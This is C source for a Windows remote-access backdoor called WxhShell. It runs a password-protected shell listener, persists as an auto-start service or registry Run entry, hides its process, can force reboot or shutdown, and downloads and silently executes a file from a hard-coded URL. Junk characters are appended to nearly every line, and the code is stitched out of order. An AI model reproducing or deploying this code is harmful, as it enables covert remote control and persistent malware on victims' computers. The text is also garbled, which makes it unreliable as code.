    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2]cRXJ7h  
    if(Boot(SHUTDOWN)) NSQp< m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ua%DyJ  
    else { >&:NFq-  
    closesocket(wsh); )%d*3\Tsd  
    ExitThread(0); ntVS:F  
    } vBcq_sbo  
    break; 2`G OJ,$  
    } eE GfM0  
  // 获取shell vy9 w$ls  
  case 's': { jszK7$]^  
    CmdShell(wsh); [ic870_  
    closesocket(wsh); O@V%Cu  
    ExitThread(0); r!PpUwod  
    break; ^T::-pN*  
  } =O).Lx2J  
  // 退出 "A$!, PX6  
  case 'x': { t. ='/`!N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #S]ER907  
    CloseIt(wsh); 9iUrnG*  
    break; q 11IkDa  
    } )3Z ^h<"j  
  // 离开 Ej ".axjT  
  case 'q': { W2FD+ wt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _tTNG2  
    closesocket(wsh); 6 Orum/|h  
    WSACleanup(); "ZM4F?x  
    exit(1); E_e6^Sk5B(  
    break; . mLK`c6  
        } 4%nE*H%  
  } R_XR4)(<  
  } H,nec<Jp  
UcOk3{(z$q  
  // 提示信息 R\@/U=iqR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /1mW|O>0  
} ,I1 RV  
  } 0j"8@<  
npJt3 Y_I  
  return; D=m 'pL/pl  
} #P l~R  
d)4 m6  
// shell模块句柄 8_<4-<}P:  
int CmdShell(SOCKET sock) 9l,a^@Y:  
{ ?=m?jNa;nC  
STARTUPINFO si; tg]x0#@s  
ZeroMemory(&si,sizeof(si)); l&iq5}[n&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s7Ub@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6f')6X'x  
PROCESS_INFORMATION ProcessInfo; "#[!/\=?:  
char cmdline[]="cmd"; MjlP+; !  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S4=~`$eP  
  return 0; )OiT{-m  
} b2b^1{@h;v  
e/0<[s*#Q  
// 自身启动模式 M`rl!Ci#  
int StartFromService(void) 91 =OF*w  
{ TT =b79k  
typedef struct 3s/H2f z  
{ F a'k0/_j  
  DWORD ExitStatus; T!Hb{Cg*  
  DWORD PebBaseAddress; [0"'T[ok  
  DWORD AffinityMask; Llr>9(|  
  DWORD BasePriority; Vn*tp bz  
  ULONG UniqueProcessId; > ;/l)qk,  
  ULONG InheritedFromUniqueProcessId; 28 8XF9B^  
}   PROCESS_BASIC_INFORMATION; /"eey(X  
j@YU|-\qh  
PROCNTQSIP NtQueryInformationProcess; -FU}pz/  
sCR67/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =c/wplv*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }ZYv~E'  
Q09[[  
  HANDLE             hProcess; +L7n<U3  
  PROCESS_BASIC_INFORMATION pbi; $STaQ28C  
VeW>[08  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); anXc|  
  if(NULL == hInst ) return 0; /YZr~|65  
l c+g&f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NR`C(^}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^J$2?!~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |&RU/a  
q WQ/ 'M  
  if (!NtQueryInformationProcess) return 0; 8C*c{(4  
Y;?{|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pi]19boM.  
  if(!hProcess) return 0; :]\([Q+a  
"wNJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rJGf .qJJ  
etTn_v  
  CloseHandle(hProcess); |S_eDjF  
*MKO I'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OCNQvF~  
if(hProcess==NULL) return 0; G"h'_7  
03q 5e  
HMODULE hMod; < jJ  
char procName[255]; !@}wDt  
unsigned long cbNeeded; 59h)-^!  
f|\onHI)>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C{U?0!^  
&5yV xL:  
  CloseHandle(hProcess); H{Wu]C<@p  
A~)D[CV  
if(strstr(procName,"services")) return 1; // 以服务启动 &litXIvT>  
y*qVc E  
  return 0; // 注册表启动 #d6)#:uss  
} hb}+A=A=+  
U/!TKic+  
// 主模块 |?,A]|j  
int StartWxhshell(LPSTR lpCmdLine) 1q7|OWFT  
{ f4fvrL  
  SOCKET wsl; N sXHO  
BOOL val=TRUE; 8WXQ Oo8  
  int port=0; PvPOU"  
  struct sockaddr_in door; ]n6#VTz*  
]s<[D$ <,  
  if(wscfg.ws_autoins) Install(); t'n pG}`tE  
-XB/lnG  
port=atoi(lpCmdLine); )Y"+,$$>Y`  
EV]1ml k$  
if(port<=0) port=wscfg.ws_port; hgPa6Kd  
fD[*_^;h)  
  WSADATA data; 5IE#\FITO|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZrpU <   
IxY|>5z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b,7k)ND1F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !2%HhiB'   
  door.sin_family = AF_INET; ,o86}6Ag  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H?yK~bGQ  
  door.sin_port = htons(port); l9{hq/V  
GeH#I5y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z&zP)>Pv  
closesocket(wsl); 9jM}~XvV  
return 1; H\ F :95  
} KcWN,!G  
<:+x+4ru  
  if(listen(wsl,2) == INVALID_SOCKET) { 5?{ r  
closesocket(wsl); +^60T$  
return 1; TM%| '^)  
} OP[  @k  
  Wxhshell(wsl); )_YX DU  
  WSACleanup(); 9X}10u:  
]_f_w 9]  
return 0; |d{PA.@33  
D4eDHq  
} E(>=rD/+  
P3x8UR=fS  
// 以NT服务方式启动 gb[5&> (#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "L IF.)  
{ 9ijfRqI=x  
DWORD   status = 0; 3l rT3a3vV  
  DWORD   specificError = 0xfffffff; 11 Q1AN  
0CnOL!3.I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ni9/}bb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n<LEler#M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |jGf<Bf5  
  serviceStatus.dwWin32ExitCode     = 0; -_=nDH  
  serviceStatus.dwServiceSpecificExitCode = 0; j'Fpjt"&=  
  serviceStatus.dwCheckPoint       = 0; <sb~ ^B  
  serviceStatus.dwWaitHint       = 0; }bb;~  
T<n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Acez'@z  
  if (hServiceStatusHandle==0) return; b/+u4'"  
G/)O@Ugp  
status = GetLastError(); 6AAz  
  if (status!=NO_ERROR) BX`{73sw  
{ D+rxT: d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bQg c8/  
    serviceStatus.dwCheckPoint       = 0; t% d Z-Ym  
    serviceStatus.dwWaitHint       = 0; 0yk]o5a++  
    serviceStatus.dwWin32ExitCode     = status; rD*jp6Cl  
    serviceStatus.dwServiceSpecificExitCode = specificError; (nQ^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p $S*dr  
    return; ;AG8C#_  
  } y6(Z`lx  
u|\1h LXX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3#LlDC_WC  
  serviceStatus.dwCheckPoint       = 0; %z=le7  
  serviceStatus.dwWaitHint       = 0; E>6MeO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zVViLUwG  
} 5%Y3 Kwyy  
{&&z-^  
// 处理NT服务事件,比如:启动、停止 ?g_3 [Fk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )8a~L8oN  
{ =Qy<GeY  
switch(fdwControl) \j$&DCv   
{ G<L;4nA)  
case SERVICE_CONTROL_STOP: $o+j El>  
  serviceStatus.dwWin32ExitCode = 0; s:n6rG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S\CCrje  
  serviceStatus.dwCheckPoint   = 0; N=V==Dbu-  
  serviceStatus.dwWaitHint     = 0; g@d*\ P)  
  { ]%;:7?5l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9)l$ aBa  
  } ahusta  
  return; y6g&Y.:o  
case SERVICE_CONTROL_PAUSE: g_;\iqxL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "BM#4  
  break; fW?vdYF  
case SERVICE_CONTROL_CONTINUE: 7y.kQI?3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /T"+KU*  
  break; `aOFs+<)  
case SERVICE_CONTROL_INTERROGATE: * ` JYC  
  break; z0 d.J1VW  
}; 34f?6K1c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *I B4[6  
} pE`})/?\*  
D, k6$`  
// 标准应用程序主函数 f[]dfLS"W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _qF+tm  
{ C"y(5U)d  
dn& s*  
// 获取操作系统版本  {y)=eX9  
OsIsNt=GetOsVer(); .j ?W>F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !Z1@}`V&;  
0 j^Kgx  
  // 从命令行安装 B`EJb71^Xy  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lc}LGq!  
9=s<Ld  
  // 下载执行文件 ko!)s  
if(wscfg.ws_downexe) { kXViWOXU^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EfqX y>W  
  WinExec(wscfg.ws_filenam,SW_HIDE); [CY9^N  
} v_yw@  
t$`r4Lb9/  
if(!OsIsNt) { &j;wCvE4+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ___~D dq  
HideProc(); Mc)}\{J  
StartWxhshell(lpCmdLine); aEB_#1  
} <;lkUU(WT2  
else b]e"1Y)D-  
  if(StartFromService()) &1Ok`_plO  
  // 以服务方式启动 )j6~Wy@4  
  StartServiceCtrlDispatcher(DispatchTable); ]>!K3kB  
else }H53~@WP>  
  // 普通方式启动 oe^I  
  StartWxhshell(lpCmdLine); 9p]QM)M  
HVRZ[Y<^  
return 0; Usvl}{L[  
} p#-Z4-`  
rm7ANMB:  
[z:!j$K  
x5pdS:  
=========================================== z'Hw  
6%'QjwM_  
/l3V3B7  
7^avpf)>  
+L$Xv  
8|gIhpO?^  
" dRYqr}!%n  
Zpt\p7WQ  
#include <stdio.h> jRa43ck  
#include <string.h> ~g91Pr   
#include <windows.h> #<fRE"v:Q  
#include <winsock2.h> p%ki>p )E|  
#include <winsvc.h> gt) I(  
#include <urlmon.h> g>%o #P7  
8]c2r%J  
#pragma comment (lib, "Ws2_32.lib") n9\TO9N  
#pragma comment (lib, "urlmon.lib") G/E+L-N#`  
"Bkfoi  
#define MAX_USER   100 // 最大客户端连接数 2DA]i5  
#define BUF_SOCK   200 // sock buffer 3Tcms/n  
#define KEY_BUFF   255 // 输入 buffer Da*?x8sSL  
J0WxR&%a)  
#define REBOOT     0   // 重启 \  #F  
#define SHUTDOWN   1   // 关机 +Ze} B*0  
hPkp;a #  
#define DEF_PORT   5000 // 监听端口 =IZT(8  
,)cM3nu  
#define REG_LEN     16   // 注册表键长度 L(6d&t'|-R  
#define SVC_LEN     80   // NT服务名长度 %uDi#x.  
gT. sj d  
// 从dll定义API C[cbbp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .^`{1%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aqZi:icFa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7sCG^&Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "Fr.fhh'~  
gjyYCjF  
// wxhshell配置信息 P\tB~SZ*  
struct WSCFG { >58YjLXb  
  int ws_port;         // 监听端口 [>I<#_^~  
  char ws_passstr[REG_LEN]; // 口令 l:~/<`o  
  int ws_autoins;       // 安装标记, 1=yes 0=no J3V= 46Yc  
  char ws_regname[REG_LEN]; // 注册表键名 uo9B9"&  
  char ws_svcname[REG_LEN]; // 服务名 LVM%"sd?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %6 zB Sje  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~7w"nIs<c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s[>,X#7 y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mthA4sz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n&4N[Qlv,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CZwXTHe  
+HpA:]#Y  
};  tU5zF.%  
#lo6c;*m5  
// default Wxhshell configuration 4i;{!sT  
struct WSCFG wscfg={DEF_PORT, Wtd/=gmiI  
    "xuhuanlingzhe", 1ba~SHi  
    1, 5DU6rks%  
    "Wxhshell", =j_4S<  
    "Wxhshell", %A/0 '  
            "WxhShell Service", 1t~G|zhX  
    "Wrsky Windows CmdShell Service", n+9=1Oo"  
    "Please Input Your Password: ", *8A  
  1, h+H%?:FX  
  "http://www.wrsky.com/wxhshell.exe", >h9I M$2  
  "Wxhshell.exe" )AtD}HEv  
    }; !?jrf] A@  
M] %?>G  
// 消息定义模块 KK4`l}Fk:n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O`kl\K*R7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O/(`S<iip  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }"H,h)T  
char *msg_ws_ext="\n\rExit."; R%WCH?B<}  
char *msg_ws_end="\n\rQuit."; yxQ1`'[CR  
char *msg_ws_boot="\n\rReboot..."; hh%-(HaLX3  
char *msg_ws_poff="\n\rShutdown..."; &m7]v,&  
char *msg_ws_down="\n\rSave to "; a5^] 20Fa  
sE<V5`Z=  
char *msg_ws_err="\n\rErr!"; 79j+vH!zh  
char *msg_ws_ok="\n\rOK!"; H2 {+)  
u~:y\/Y6  
char ExeFile[MAX_PATH]; 05#1w#i  
int nUser = 0; Mj3A5;#  
HANDLE handles[MAX_USER]; h2A <"w  
int OsIsNt;  qA7>vi%  
k"%~"9  
SERVICE_STATUS       serviceStatus; K7B/s9/xs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Zpfq63W  
NA`SyKtg_  
// 函数声明  DPxM'7  
int Install(void); H2\;%K 2  
int Uninstall(void); .VJMz4$]O  
int DownloadFile(char *sURL, SOCKET wsh); CsR$c,8X.  
int Boot(int flag); Kk0g0C:"EO  
void HideProc(void); &{hL&BLr  
int GetOsVer(void); L#{S!P,"  
int Wxhshell(SOCKET wsl); re?,Wext\  
void TalkWithClient(void *cs); M)+H{5bt  
int CmdShell(SOCKET sock); /Iy]DU8  
int StartFromService(void); SM#]H-3  
int StartWxhshell(LPSTR lpCmdLine); !Pvf;rNI1T  
VcYrK4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ek\ xx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rU:`*b<  
/t57!&  
// 数据结构和表定义 Vb;*m5,?:  
SERVICE_TABLE_ENTRY DispatchTable[] = t9`.bx8  
{ #Y`~(K47  
{wscfg.ws_svcname, NTServiceMain}, ? (Oy\  
{NULL, NULL} AT 3cc  
}; {\"x3;3!6  
^7cGq+t  
// 自我安装 \ZFGw&yN  
int Install(void) kx{{_w  
{ <z&/L/bl"  
  char svExeFile[MAX_PATH]; @V sG'  
  HKEY key; H5B:;g@  
  strcpy(svExeFile,ExeFile); qJs<#MQ2  
33x{CY15  
// 如果是win9x系统,修改注册表设为自启动 bHYy}weZ  
if(!OsIsNt) { X/!o\yyT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wE>\7a*P%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iL&fgF"'  
  RegCloseKey(key); 6r0krbN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -UEZ#Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TDKki(o=~  
  RegCloseKey(key); FaSf7D`C  
  return 0; $y&E(J  
    } (O?.)jEW(.  
  } B\=8_z  
} P>C~ i:4n  
else { W~; `WR;.  
Lc,Pom  
// 如果是NT以上系统,安装为系统服务 ~9]hV7y5C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jy:Qlx`  
if (schSCManager!=0) gQg"j)  
{ py!|\00}  
  SC_HANDLE schService = CreateService &MQmu,4  
  ( )h4 f\0  
  schSCManager, 5"@*?X K^  
  wscfg.ws_svcname, 0B/,/KX  
  wscfg.ws_svcdisp, Su7?;Oh/yI  
  SERVICE_ALL_ACCESS, $\BE&4g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S(I{NL}= $  
  SERVICE_AUTO_START, ]EBxl=C}D  
  SERVICE_ERROR_NORMAL,  .-c4wm}  
  svExeFile, =E4LRKn  
  NULL, 7 :xfPx  
  NULL, kQSy+q  
  NULL, /QWvW=F2<  
  NULL, ay ;S4c/_  
  NULL 5E;qM|Ns  
  ); .CABH,Po:  
  if (schService!=0) VcO0sa f`  
  { 61>.vT8P  
  CloseServiceHandle(schService); EStB#V^  
  CloseServiceHandle(schSCManager); g`' !HGY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oXh#a8  
  strcat(svExeFile,wscfg.ws_svcname); C.yQ=\U2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HGs $*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @/.;Xw]  
  RegCloseKey(key); 6+|do+0Icg  
  return 0; ColV8oVnU  
    } TH&U j1  
  } _Xc8Yg }`  
  CloseServiceHandle(schSCManager); +>{2*\cZ5}  
} !qh]6%l  
} ,{u yG:  
<I\/n<*  
return 1; Uw. `7b>B  
} nbD*x|  
3vN_p$  
// 自我卸载 Eu d*_>|  
int Uninstall(void) HZC"nb}r4  
{ x.!V^HQSN  
  HKEY key; uK"=i8rs4  
DS(}<HK{  
if(!OsIsNt) { l'-Bu(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s4y73-J^.v  
  RegDeleteValue(key,wscfg.ws_regname); zm5]J  
  RegCloseKey(key); wx= $2N6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?}tFN_X"  
  RegDeleteValue(key,wscfg.ws_regname); *=/ { HvJ  
  RegCloseKey(key); Cazocq5  
  return 0; p Z|V 3  
  } x_N'TjS^{  
} x;P_1J%Q  
} .\ULbN3Z  
else { _?m(V=z>  
Eex~xiiV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x:NY\._  
if (schSCManager!=0) 0WW2i{7`U  
{ z,[Hli*0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ICx#{q@f,  
  if (schService!=0) QC OM_$y  
  { {tuYs:  
  if(DeleteService(schService)!=0) { .Ni\\  
  CloseServiceHandle(schService); 2 /\r)$ 2i  
  CloseServiceHandle(schSCManager); ArI2wM/v  
  return 0; ~F|+o}a `  
  } BQE|8g'&T  
  CloseServiceHandle(schService); l|JE#  
  } 'j8:vq^d  
  CloseServiceHandle(schSCManager); u"cV%(#  
} ar!R|zmf  
} 58tARLDr  
{0Yf]FQb-a  
return 1; y*jp79G  
} jjB~G^n  
taHJ ub  
// 从指定url下载文件 vAF "n  
int DownloadFile(char *sURL, SOCKET wsh) ,F8Yn5h  
{ K( c\wr\6  
  HRESULT hr; ,i?nWlh+  
char seps[]= "/"; b7?uq9  
char *token; r"3=44St  
char *file; Pe_W;q.  
char myURL[MAX_PATH]; )np:lL$$  
char myFILE[MAX_PATH]; :1. L}4"gg  
shy-Gu&  
strcpy(myURL,sURL); mA}TJz  
  token=strtok(myURL,seps); {yTGAf-DV  
  while(token!=NULL) [[Ls_ZL!=  
  { F3[T.sf  
    file=token; ^+>laOzC`8  
  token=strtok(NULL,seps); T\6dm/5  
  } hc(#{]].  
KEo ,m  
GetCurrentDirectory(MAX_PATH,myFILE); T"}5}6rSG  
strcat(myFILE, "\\"); WtsFz*`)y  
strcat(myFILE, file); r4b 6 c  
  send(wsh,myFILE,strlen(myFILE),0); 7?!d^$B  
send(wsh,"...",3,0); ed{ -/l~j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z [}v{  
  if(hr==S_OK) .]Y$o^mf  
return 0; bivuqKA  
else 4<w.8rR:A  
return 1; JQ_sUYh~3  
+;(c:@>@,  
} ,GhS[VJjR  
,hm\   
// 系统电源模块 YlJ@XpKM  
int Boot(int flag) `iFmrC<  
{ <y('hI'  
  HANDLE hToken; Wq D4YGN  
  TOKEN_PRIVILEGES tkp; 2G & a{  
9rA0lqr]5  
  if(OsIsNt) { "+R+6<"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PfAgM1   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7FP*oN?  
    tkp.PrivilegeCount = 1; $D~0~gn~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jE.N ev/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !3c\NbU  
if(flag==REBOOT) { 1Z/(G1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 13$%,q)  
  return 0; g]l'' 7G  
} cN-?l7  
else { gS!:+G%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t9GR69v:?  
  return 0; ^,lIK+#Elz  
} ]`!>6/[  
  } pGP7nw_g  
  else { u"r`3P`  
if(flag==REBOOT) { zJKv'>?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wy<S;   
  return 0; kf\PioD8  
} ^&9zw\x;z  
else { '6nA F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %vn"{3y>rF  
  return 0; ^lnK$i  
} L Tm2G4+]  
} :_`F{rDB  
+[6G5cH  
return 1; i<C*j4qQ  
} <VMGTBVQ  
a Yg6H2Un  
// win9x进程隐藏模块 Si4!R+4w  
void HideProc(void) #ZUI)9My@  
{ 4@+`q *  
CCs%%U/=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $8)+XmsCr  
  if ( hKernel != NULL ) :I.mGH!^  
  { (U D nsF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y Vt% 0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OR P\b  
    FreeLibrary(hKernel); h"B+hu  
  } 6%\J"AgXO  
\Gef \   
return; /* (Kr'c  
} 5ORo3T%  
}?$F}s-  
// 获取操作系统版本 hE:9{;Gf  
int GetOsVer(void) ; }I:\P  
{ |MTnH/|  
  OSVERSIONINFO winfo; 2"v6 >b%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >>4qJ%bL  
  GetVersionEx(&winfo); + )AG*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }`@vF|2L  
  return 1; h6Ub}(Ov  
  else :^lI`9'*R  
  return 0; LRxZcxmy  
} i]c!~`  
h:))@@7MJ  
// 客户端句柄模块 i'<[DjMDlm  
int Wxhshell(SOCKET wsl) : g7@PJND  
{ B6+khuG(  
  SOCKET wsh; `{@8Vsmy:  
  struct sockaddr_in client; ''cInTCr  
  DWORD myID; d"1]4.c  
V5@:#BIs  
  while(nUser<MAX_USER) `GBW%X/  
{ \k7"=yx  
  int nSize=sizeof(client); -u+vJ6EY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tH@Erh|%  
  if(wsh==INVALID_SOCKET) return 1; )EPjAv  
j<m(PHSe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3GYw+%Z]  
if(handles[nUser]==0) etDk35!h~,  
  closesocket(wsh); ;$,U~0  
else soB,j3#p'*  
  nUser++; n-2]M0 5O  
  } >a<.mU|#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pjf"CW+A  
wq`s-qZu  
  return 0; JJ-( Sl  
} UkwP  
d UE,U=  
// 关闭 socket sPpH*,(  
void CloseIt(SOCKET wsh) -a}Dp~j  
{ 5+0gR &|j  
closesocket(wsh); )th<,Lo3#  
nUser--; y%$AhRk*U  
ExitThread(0); l+K'beP  
} h%na>G  
tPWLg),  
// 客户端请求句柄 oN~&_*FE  
void TalkWithClient(void *cs) T3.&R#1M8-  
{ caR<Kb:;*  
,$L4dF3  
  SOCKET wsh=(SOCKET)cs; sjHE/qmq-Z  
  char pwd[SVC_LEN]; |)th1 UH  
  char cmd[KEY_BUFF]; ,Q$ q=E;X  
char chr[1]; ah$b [\#C  
int i,j; un"Gozmt5  
a#(?P.6  
  while (nUser < MAX_USER) { 23eX;gL  
m#Jmdb_  
if(wscfg.ws_passstr) { |)DGkOtd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HXC ;Np  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ITXa&5D  
  //ZeroMemory(pwd,KEY_BUFF); fSj5ZsO  
      i=0; .[KrlfI  
  while(i<SVC_LEN) { F@jZ ho  
VR8-&N  
  // 设置超时 J$DE"| -  
  fd_set FdRead; ;W )Y OT  
  struct timeval TimeOut; ij`w} V  
  FD_ZERO(&FdRead); MTh<|$   
  FD_SET(wsh,&FdRead); A0s ZOCky  
  TimeOut.tv_sec=8; 2eS~/Pq5=i  
  TimeOut.tv_usec=0; =!A_^;NQf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %g$o/A$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^$jb7HMObI  
{%5eMyF#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?3`UbN:  
  pwd=chr[0]; :K,i\  
  if(chr[0]==0xd || chr[0]==0xa) { T@B/xAq5!  
  pwd=0; /N10  
  break; k/_ 59@)  
  } dh iuI|?@  
  i++; oG?Xk%7&\  
    } l}|%5.5-  
@+2=g WH  
  // 如果是非法用户,关闭 socket !X#OOqPr=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !;v|'I  
} m4Qh%}9%  
a$OE0zn`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X=&ET)8-Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `UyG_;  
{*" |#6-  
while(1) { 1W LXM^ 4  
!sP {gi#=  
  ZeroMemory(cmd,KEY_BUFF); wH&!W~M  
f|c{5$N!  
      // 自动支持客户端 telnet标准   k@J&IJ  
  j=0; 20h, ^  
  while(j<KEY_BUFF) { '3fu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s?}e^/"v  
  cmd[j]=chr[0]; RWZSQ~  
  if(chr[0]==0xa || chr[0]==0xd) { ;7V%#-  
  cmd[j]=0; L|7R9+ZG  
  break; ]y '>=a|T  
  } C`9+6T  
  j++; '@KEi%-^>  
    } #&aqKV Y  
3z?> j]  
  // 下载文件  skViMo  
  if(strstr(cmd,"http://")) { n5NsmVW\x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hd<c&7|G'  
  if(DownloadFile(cmd,wsh)) }@+0/W?\.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YnAm{YyI  
  else !9r$e99R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $k%2J9O  
  } <{cQM$ #  
  else { \ :sUL!  
@o _}g !9=  
